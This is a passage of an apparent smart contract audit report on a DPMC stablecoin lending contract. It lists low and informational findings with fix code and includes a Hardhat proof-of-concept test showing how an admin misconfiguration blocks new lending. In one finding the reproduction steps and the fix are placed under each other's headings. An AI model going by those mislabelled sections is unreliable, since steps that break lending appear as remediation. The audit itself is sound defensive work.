`personalMinLend = 10,000 USDT`

`personalMaxLend = 5,000 USDT`

Users must lend at least `10,000 USDT` but are simultaneously restricted to a maximum allocation of `5,000 USDT`.

No valid lending amount exists.

Scenario 3

`institutionalMinLend = 1,000,000 USDT`

`institutionalMaxLend = 500,000 USDT`

Institutional lenders are required to lend more than the maximum amount permitted by the protocol.

No valid lending amount exists.

Because these relationships are not validated, the protocol can enter a state where new lending positions cannot be created despite all individual configuration values appearing valid.

Locations:

`updatePersonalMinLend()`, `updateInstitutionalMinLend()` , `updatePersonalMaxLend()`, `updateInstitutionalMaxLend()`

Remediation:

1. Set the personal minimum lending amount above the global pool capacity.
2. Attempt to lend the minimum allowed amount.
3. The transaction reverts.

Impact:

Misconfigured lending parameters can make the protocol partially unavailable by preventing new lending positions from being opened for personal users, institutional users, or both.

Although the issue requires an administrative action and does not directly result in fund loss, it can disrupt protocol operations and prevent onboarding of new lenders until the configuration is corrected.

Code Snippet:

N/A

Reference:**POC's Description:**

Enforce configuration invariants whenever lending limits are updated.

Example validations include:

```
require(  
    personalMinLend <= personalMaxLend,  
    "Invalid personal lending range"  
);  
  
require(  
    institutionalMinLend <= institutionalMaxLend,  
    "Invalid institutional lending range"  
);  
  
require(  
    personalMinLend <= totalMaxLendingPool,  
    "Personal minimum exceeds pool capacity"  
);  
  
require(  

```

```

institutionalMinLend <= totalMaxLendingPool,

"Institutional minimum exceeds pool capacity"

);

```

This logic should also be incorporated into the constructor function.

Proof of Vulnerability:

```

it.only("POC: reverts Pool exceeds max limit", async function () {
  // @audit when we call "updatePersonalMinLend" and exceed the "Pool exceeds max limit" than we can't even submit
  // the minimum lend or any lend
  await lending.connect(pool).updatePersonalMinLend(ethers.parseUnits("1000000000", 6));
  const period = 6;
  const amount = ethers.parseUnits("1000000000", 6);
  console.log("THIS IS THE PERSONEL LEND TESTING BLOCK");
  const exp = (await ethers.provider.getBlock("latest")).timestamp + 3900;
  await dpToken.connect(deployer).approve(lending.target, amount);
  const msgHash = encodeHash(
    ["address", "address", "uint8", "uint256", "uint256", "uint256"],
    [lending.target, deployer.address, 0, period, amount, exp]
  );
  const sk = new ethers.SigningKey(sigWallet.privateKey);
  const sig = ethers.Signature.from(sk.sign(msgHash)).serialized;
  await expect(
    lending.connect(deployer).lend(0, period, amount, exp, sig)
  ).to.be.rejectedWith("Pool exceeds max limit");
  await lending.connect(pool).updatePersonalMinLend(ethers.parseUnits("1000", 6));
});

```

```

gurkiratsingh@Gurkirats-MacBook-Air dpmc initial % npx hardhat test
[dotenv@17.2.3] injecting env (10) from .env -- tip: add secrets lifecycle management: https://dotenvx.com/ops
Compiled 1 Solidity file successfully (evm target: paris).

```

```

StableLending branch coverage
THIS IS THE PERSONEL LEND TESTING BLOCK
This is the total lent up until now by the pool in SC: 0
This is the lent amount requested by the user in SC: 1000000000000000
Total max lending pool in SC: 5000000000000
This is the min lend for the user in SC: 1000000000000000
✓ POC: reverts Pool exceeds max limit

```

```
1 passing (575ms)
```

4.6 Missing Upper Bound Validation for Withdrawal Period Configuration

Severity	Status	Type of Analysis
● Low	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The protocol allows administrators to update the interest withdrawal waiting period through `updateWithdrawalPeriod()`:

```
function updateWithdrawalPeriod(
    uint256 _newWithdrawalPeriod
) external onlyAdmin {
    withdrawalPeriod = _newWithdrawalPeriod;
    emit WithdrawalPeriodUpdated(_newWithdrawalPeriod);
}
```

The function does not enforce an upper bound on the configured value.

For example, a withdrawal period greater than the duration of supported lending terms could effectively prevent interest withdrawals throughout the lifetime of a lending position.

Locations:

`updateWithdrawalPeriod()`

Remediation:

Introduce a reasonable upper bound for `withdrawalPeriod` that aligns with the protocol's supported lending durations and intended withdrawal schedule.

Impact:

- Interest withdrawals are gated by the `withdrawalPeriod` parameter. If an administrator accidentally configures an excessively large value, lenders may be unable to withdraw accrued interest until the configured delay has elapsed.

- Misconfiguration of the withdrawal period can significantly delay or temporarily prevent lenders from claiming accrued interest, resulting in degraded user experience and reduced protocol usability.

Although the issue requires an administrative action, the absence of validation increases the risk of operational mistakes affecting all users.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.7 Zero Address Can Be Added as Admin

Severity	Status	Type of Analysis
● Low	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The contract defines an `onlyValidAddress` modifier that ensures an address is not the zero address:

```
modifier onlyValidAddress(address _address) {

    require(_address != address(0), "Invalid address.");

    _;
}
```

However, the `addOrRemoveAdmin()` function does not utilize this modifier when updating admin permissions:

```
function addOrRemoveAdmin(address _admin, bool _true) public onlyOwner {

    isAdmin[_admin] = _true;

    emit AdminUpdated(_admin, _true);

}
```

As a result, the owner can accidentally assign admin privileges to `address(0)`.

Locations:

`addOrRemoveAdmin(...)`

Remediation:

Apply the `onlyValidAddress` modifier to the `addOrRemoveAdmin()` function or explicitly validate that `_admin` is not the zero address before updating the admin mapping.

```
function addOrRemoveAdmin(

    address _admin,
```

```
bool _true

) public onlyOwner onlyValidAddress(_admin) {

    isAdmin[_admin] = _true;

    emit AdminUpdated(_admin, _true);

}
```

Impact:

Assigning administrative privileges to the zero address serves no practical purpose and can lead to incorrect protocol state, misleading event logs, and operational confusion when reviewing administrator assignments.

Code Snippet:

N/A

Reference:**Proof of Vulnerability:**

N.A.

4.8 Inconsistent Usage of Existing Address Validation Modifier

Severity	Status	Type of Analysis
● Informational	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

The contract defines an `onlyValidAddress` modifier that validates an address is not the zero address.

However, the `updateLendingToken()` and `updateSigner()` functions perform the same validation using inline `require` statements instead of reusing the existing modifier:

```
require(_newAddress != address(0), "Invalid lending token address");
```

```
require(_newSigner != address(0), "Invalid signer address");
```

Locations:

```
updateLendingToken(...), updateSigner(...)
```

Remediation:

Reuse the existing `onlyValidAddress` modifier to centralize address validation logic and improve code consistency.

```
function updateLendingToken( address _newAddress ) external onlyAdmin onlyValidAddress(_newAddress) {
    address oldAddress = address(lendingToken);
    lendingToken = IERC20(_newAddress); emit LendingTokenUpdated(oldAddress, _newAddress);
}
```

```
function updateSigner( address _newSigner ) external onlyOwner onlyValidAddress(_newSigner) {
    address oldSigner = signer;
    signer = _newSigner;
    emit SignerUpdated(oldSigner, _newSigner);
}
```

Impact:

No direct security impact exists because the zero-address checks are correctly enforced. However, duplicated validation logic reduces code consistency and maintainability, increasing the likelihood of implementation inconsistencies during future development.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.9 Large Numeric Literals Can Be Replaced With Scientific Notation

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

The codebase uses several large numeric literals written in their full form, such as:

```
50_000 * 10 ** 6
```

```
1_000_000 * 10 ** 6
```

```
5_000_000 * 10 ** 6
```

Using scientific notation improves readability and consistency while reducing the likelihood of errors when reviewing or modifying large constants.

Locations:

Multiple locations across the codebase

Remediation:

Replace large numeric literals with scientific notation where appropriate.

Example:

```
50_000 * 10 ** 6
```

can be written as:

```
50_000e6
```

Similarly:

```
1_000_000 * 10 ** 6
```

can be written as:

1_000_000e6

Impact:

No security impact. This is a code-quality and readability improvement.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.10 Missing Dedicated Interface Contract for External Integrations

Severity	Status	Type of Analysis
● Informational	Identified	Dynamic

Contract Name:

stable-lending-smart-contract.sol

Description:

Structs, enums, and external function declarations are currently defined within the implementation contract. Moving these definitions into a dedicated interface contract would improve code readability, provide better separation of concerns, and enhance long-term maintainability by keeping interface definitions separate from implementation logic.

Locations:

stable-lending-smart-contract

Remediation:

Create a dedicated interface contract (e.g., `IStableLending.sol`) containing externally used enums, structs, events, and function signatures.

This improves integration ergonomics and reduces dependency on the implementation contract.

Impact:

No security impact.

However, the absence of a dedicated interface reduces maintainability and increases coupling between integrations and the implementation contract.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.11 Missing Event Emission When Updating Period Multiplier

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

The `updatePeriodMultiplier()` function updates the `periodMultiplier` state variable but does not emit an event.

As a result, off-chain monitoring systems and indexers cannot easily track changes to this important protocol parameter.

Locations:

`updatePeriodMultiplier(...)`

Remediation:

Emit an event whenever `periodMultiplier` is updated.

```
event PeriodMultiplierUpdated(uint256 oldValue, uint256 newValue);
```

Impact:

- Without events, off-chain systems (such as dApps, analytics dashboards, and monitoring systems) cannot reliably track or verify contract activity. This reduces transparency for users and stakeholders.
- Users and integrators rely on events to receive real time updates about their actions (e.g., successful participation, claim, or repayment). The absence of events can lead to confusion and bad UX.
- Events are essential for post deployment auditing, dispute resolution, and regulatory compliance. Missing events make it difficult to reconstruct the contract's history and verify correct operation.
- Many DeFi protocols and monitoring tools depend on events to trigger automated processes (e.g., updating balances, sending notifications). Lack of events can break these integrations.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.12 nonReentrant Modifier is Not the First Modifier

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

The functions use multiple modifiers, but the nonReentrant modifier is not placed first. Best practices recommend placing nonReentrant as the first modifier to ensure it executes before other modifiers.

Locations:

`lend(...) external whenNotPaused nonReentrant,`

`forceStop(...) onlyAdmin nonReentrant`

Remediation:

Reorder modifiers so that nonReentrant is always placed first.

Eg:-

`function lend(...) external nonReentrant whenNotPaused`

`function forceStop(...) nonReentrant onlyAdmin`

Impact:

This issue does not directly impact the protocol's functionality. However, following this defensive coding practice reduces the attack surface if future modifiers are updated to include external calls.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.13 Repeated Magic Numbers Should Be Replaced With Named Constants

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

The codebase contains several hardcoded numeric values that are used repeatedly, such as:

70_000

10_000

1_000_000

12

6

Using named constants improves readability, maintainability, and reduces the risk of inconsistencies when updating protocol parameters in the future.

Locations:

Multiple locations across the codebase

Remediation:

Define commonly used values as constants and reference them throughout the codebase.

Example:

```
uint256 public constant INTEREST_PRECISION = 1_000_000;
```

```
uint256 public constant MIN_INTEREST_RATE = 10_000;
```

```
uint256 public constant MONTHS_IN_YEAR = 12;
```

Then replace hardcoded values with the corresponding constant variables.

Impact:

No security impact. This is a code-quality and maintainability issue.

Code Snippet:

N/A

Reference:**Proof of Vulnerability:**

N.A.

4.14 Solidity Pragma Should Be Specific, Not Wide

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

In the smart contract, the pragma directive `pragma solidity ^0.8.20;` is used to specify the compiler version. This directive allows any compiler version greater than or equal to 0.8.20;.

Locations:

`stable-lending-smart-contract`

Remediation:

Update the pragma statements in the contracts to specify a particular version of Solidity. For example, replace `pragma solidity ^0.8.20;` with `pragma solidity 0.8.20;`

And the pragma version should be the same across all the smart contracts, so change it to what other smart contracts in the project are using, which is 0.8.29.

Impact:

This directive allows any compiler version greater than or equal to 0.8.20;. Failure to specify a specific version may lead to compatibility issues or unexpected behaviour in future compiler versions. It's important to follow best practices to ensure the stability and security of the contracts.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

4.15 Use external Visibility for Public Functions

Severity	Status	Type of Analysis
● Informational	Identified	Static

Contract Name:

stable-lending-smart-contract.sol

Description:

Within the stable-lending-smart-contract.sol, certain functions are declared with the public visibility modifier but are never invoked internally by other contract functions.

In Solidity, functions that are intended to be accessed only from outside the contract should instead be declared as external. Using public unnecessarily increases the compiled bytecode size and gas costs, since the compiler generates additional code to allow internal calls.

Locations:

Multiple locations across the codebase

Remediation:

Change the visibility of functions that are not called internally from public to external.

Impact:

- external functions are slightly more gas efficient than public functions when called from outside the contract, as calldata is read directly rather than being copied to memory.
- Using external signals to developers and auditors that the function is not intended for internal use, improving readability and maintainability.
- This is not a security issue, but a best practice for contract design and optimization.

Code Snippet:

N/A

Reference:

Proof of Vulnerability:

N.A.

5.0 Auditing Approach and Methodologies applied

Throughout the audit of the smart contract, care was taken to ensure:

- Overall quality of code
- Use of best practices.
- Code documentation and comments match logic and expected behavior.
- Mathematical calculations are as per the intended behavior mentioned in the whitepaper.
- Implementation of token standards.
- Efficient use of gas.
- Code is safe from Re-entrancy and other vulnerabilities.

A combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the smart contract audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

5.1 Structural Analysis

In this step we have analysed the design patterns and structure of all smart contracts. A thorough check was completed to ensure all Smart contracts are structured in a way that will not result in future problems.

5.2 Static Analysis

Static Analysis of smart contracts was undertaken to identify contract vulnerabilities. In this step, a series of automated tools are used to test the security of smart contracts.

5.3 Code Review / Manual Analysis

Manual Analysis or review of done to identify new vulnerabilities or to verify the vulnerabilities found during the Static Analysis. The contracts were completely manually analysed, and their logic was checked and compared with the one described in the whitepaper. It should also be noted that the results of the automated analysis were verified manually.

5.4 Gas Consumption

In this step, we checked the behaviour of all smart contracts in production. Checks were completed to understand how much gas gets consumed, along with the possibilities of optimisation of code to reduce gas consumption.

5.5 Tools & Platforms Used For Audit

5.6 Checked Vulnerabilities

We have scanned Dpmc lending platform smart contracts for commonly known and more specific vulnerabilities. Here are some of the commonly known vulnerabilities that we considered:

- Re-entrancy
- Timestamp Dependence
- Gas Limit and Loops
- DoS with Block Gas Limit
- Transaction-Ordering Dependence
- Use of tx.origin
- Exception disorder
- Gasless send
- Balance equality
- Byte array
- Transfer forwards all gas
- ERC-20 API violation
- Malicious libraries
- Compiler version not fixed
- Redundant fallback function
- Send instead of transfer
- Style guide violation
- Unchecked external call
- Unchecked math
- Unsafe type inference
- Implicit visibility level

6.0 Limitations on Disclosure and Use of this Report

This report contains information concerning potential details of DPMC lending platform and methods for exploiting them. Entersoft recommends that special precautions be taken to protect the confidentiality of both this document and the information contained herein. Security Assessment is an uncertain process, based on past experiences, currently available information, and known threats. All information security systems, which by their nature are dependent on human beings, are vulnerable to some degree. Therefore, while Entersoft considers the major security vulnerabilities of the analyzed systems to have been identified, there can be no assurance that any exercise of this nature will identify all possible vulnerabilities or propose exhaustive and operationally viable recommendations to mitigate those exposures. In addition, the analysis set forth herein is based on the technologies and known threats as of the date of this report. As technologies and risks change over time, the vulnerabilities associated with the operation of the Smart Contract described in this report, as well as the actions necessary to reduce the exposure to such vulnerabilities will also change. Entersoft makes no undertaking to supplement or update this report based on changed circumstances or facts of which Entersoft becomes aware after the date hereof, absent a specific written agreement to perform the supplemental or updated analysis. This report may recommend that Entersoft use certain software or hardware products manufactured or maintained by other vendors. Entersoft bases these recommendations upon its prior experience with the capabilities of those products. Nonetheless, Entersoft does not and cannot warrant that a particular product will work as advertised by the vendor, nor that it will operate in the manner intended. This report was prepared by Entersoft for the exclusive benefit of DPMC lending platform and is proprietary information. The Non-Disclosure Agreement (NDA) in effect between Entersoft and DPMC lending platform governs the disclosure of this report to all other parties including product vendors and suppliers.